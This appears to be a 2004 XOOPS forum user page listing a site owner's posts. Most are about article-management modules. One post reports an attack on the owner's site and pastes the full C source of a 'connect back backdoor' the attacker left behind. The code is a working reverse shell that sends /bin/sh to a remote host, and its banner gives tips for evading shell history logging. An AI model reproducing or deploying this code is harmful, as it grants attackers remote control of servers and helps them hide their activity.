1
winds
Re: DOS - space quota - Attack! Need help!
  • 2004/2/2 10:58

  • winds

  • Just popping in

  • Posts: 10

  • Since: 2004/1/14


The site is ok now, or for now.



2
winds
Re: DOS - space quota - Attack! Need help!
  • 2004/2/2 4:21

  • winds

  • Just popping in

  • Posts: 10

  • Since: 2004/1/14


Thanks Suns

I will install this module for the future protection. I should do it before. Because it's third time that somebody did a damage to my site. I really don't know why. It seems that this time the attack is more serious than before...I fixed one thing, but found the other...

Thanks again.



3
winds
DOS - space quota - Attack! Need help!
  • 2004/2/1 23:23

  • winds

  • Just popping in

  • Posts: 10

  • Since: 2004/1/14


My XOOPS web site is down, because of classic DOS -space quota- attack

Web site is on Appache, Linux server...

I found this temp file on the server left by attacker, may be it could give you more info:

" #include <stdio.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
int main(int argc, char **argv) {
char *host;
int port = 80;
int f;
int l;
int sock;
struct in_addr ia;
struct sockaddr_in sin, from;
struct hostent *he;
char msg[ ] = "Bem Vindo Creative_MX Let's Hack\n\n"
"Issue \"export TERM=xterm; exec bash -i\"\n"
"For More Reliable Shell.\n"
"Issue \"unset HISTFILE; unset SAVEHIST\"\n"
"For Not Getting Logged.\n(;\n\n";
printf("Ir4dex Connect Back Backdoor\n\n");
if (argc < 2 || argc > 3) {
printf("Usage: %s [Host] <port>\n", argv[0]);
return 1;
}
printf("[*] Dumping Arguments\n");
l = strlen(argv[1]);
if (l <= 0) {
printf("[-] Invalid Host Name\n");
return 1;
}
if (!(host = (char *) malloc(l))) {
printf("[-] Unable to Allocate Memory\n");
return 1;
}
strncpy(host, argv[1], l);
if (argc == 3) {
port = atoi(argv[2]);
if (port <= 0 || port > 65535) {
printf("[-] Invalid Port Number\n");
return 1;
}
}
printf("[*] Resolvendo Nome Do Host\n");
he = gethostbyname(host);
if (he) {
memcpy(&ia.s_addr, he->h_addr, 4);
} else if ((ia.s_addr = inet_addr(host)) == INADDR_ANY) {
printf("[-] Unable to Resolve: %s\n", host);
return 1;
}
sin.sin_family = PF_INET;
sin.sin_addr.s_addr = ia.s_addr;
sin.sin_port = htons(port);
printf("[*] Conectando...\n");
if ((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
printf("[-] Socket Error\n");
return 1;
}
if (connect(sock, (struct sockaddr *)&sin, sizeof(sin)) != 0) {
printf("[-] Unable to Connect\n");
return 1;
}
printf("[*] Spawning Shell\n");
f = fork( );
if (f < 0) {
printf("[-] Unable to Fork\n");
return 1;
} else if (!f) {
write(sock, msg, sizeof(msg));
dup2(sock, 0);
dup2(sock, 1);
dup2(sock, 2);
execl("/bin/sh", "shell", NULL);
close(sock);
return 0;
}
printf("[*] Conectado\n\n");
return 0;
} "


Does anybody know a quick fix for this? Please!



4
winds
Re: Best for articles management
  • 2004/2/1 9:32

  • winds

  • Just popping in

  • Posts: 10

  • Since: 2004/1/14


The best answer for the "best for article management" question could be: each of about 10 article management modules made for XOOPS have some unique or "the best" features, features that other modules are not focused on.
And, it's real quality of xoops.

At Windsormall com I use 7-8 different article management modules for 8 different web site tasks. I do it in order to achieve easier database management and because of the fact that each web site sections asked for different content presentation and different design and layout. If you like you can check how each of them work:

Here we go:

XOOPS NEWS (core) - mother of all XOOPS articles management modules. You know about it: the most stable, interactive and usable. Classic use - a part of the site that community writers use most.

Classic News/articles Page

WF SECTION - the best for magazine type of content, allows
quick layout and design change. I use it for "Save Online" articles mainly prepared by admins.

Earn and Save Online page

FREE CONTENT 3 - If you have any content and design tasks that you would like to prepare and design out of XOOPS ( design page using Dreamweaver for instance and after import it into XOOPS theme or integrate existing static web site into XOOPS)Free Content is a tool for it. Plus powerful Web Digest inside. Together with ENTEPRISEX module Free content is a good tool for mini web site business presentations.

Business Presentation using Free Content

Web Digest, new and powerful module by wjue - I used it as a News Scout - Have to do: Layout and design

WF CHANNEL - Ten minutes of work and you have three very important pages, attractive and ready to use. Thanks for this realy good present.

LINK TO US

CJAY CONTENT - stable (my experience) and very flexible, you can use it almost for any task you want. I would say: news plus custom design possibilities.

Travel content - Coming to Windsor? Great! - need to complete this part of the site

TINY CONTENT - I built Amazon store section using this module. Easy to use, can do more than I asked.
STORE

IContent - Excellent module, I would say - something between directory module and article management module. I need it for Shopping Guide (listings and articles together - coming soon)

Come and try.

home page link (blocks and business directory module): windsormall.com























5
winds
Re: FreeContent Webdigest v.3.0 Final
  • 2004/1/28 17:41

  • winds

  • Just popping in

  • Posts: 10

  • Since: 2004/1/14


Thanks Stewdio,

Put a wave and other pictures in your site gallery. You site will be even better looking with the Falls images. I like your site, site topic and gallery (http://stewdio.net/modules/xcgal/).

Please, don't stop doing Stewdio.net site and even more, please start doing new one from your new, beautiful place.
Falls tourist portal, perhaps.

I'm sure that you will be lucky at Falls , and that you will
fix all "employment woes and other personal factors" you are talking about at your site.

Good luck !




6
winds
Re: FreeContent Webdigest v.3.0 Final
  • 2004/1/28 17:08

  • winds

  • Just popping in

  • Posts: 10

  • Since: 2004/1/14


Just one small problem:

It seems that if I'm using the cache feature with Free Content and use both web digest and own html files, Web Digest doesn't work. Without the cache feature - no problems.

www.windsormall.com



7
winds
Re: FreeContent Webdigest v.3.0 Final
  • 2004/1/28 16:15

  • winds

  • Just popping in

  • Posts: 10

  • Since: 2004/1/14


Web Digest is just excellent.
I use it at www.windsormall.com
Again very powerful, practical, useful module, and above all it’s stable.
Thanks wjue.




TopTop



Login

Who's Online

135 user(s) are online (61 user(s) are browsing Support Forums)


Members: 0


Guests: 135


more...

Donat-O-Meter

Stats
Goal: $100.00
Due Date: May 31
Gross Amount: $0.00
Net Balance: $0.00
Left to go: $100.00
Make donations with PayPal!

Latest GitHub Commits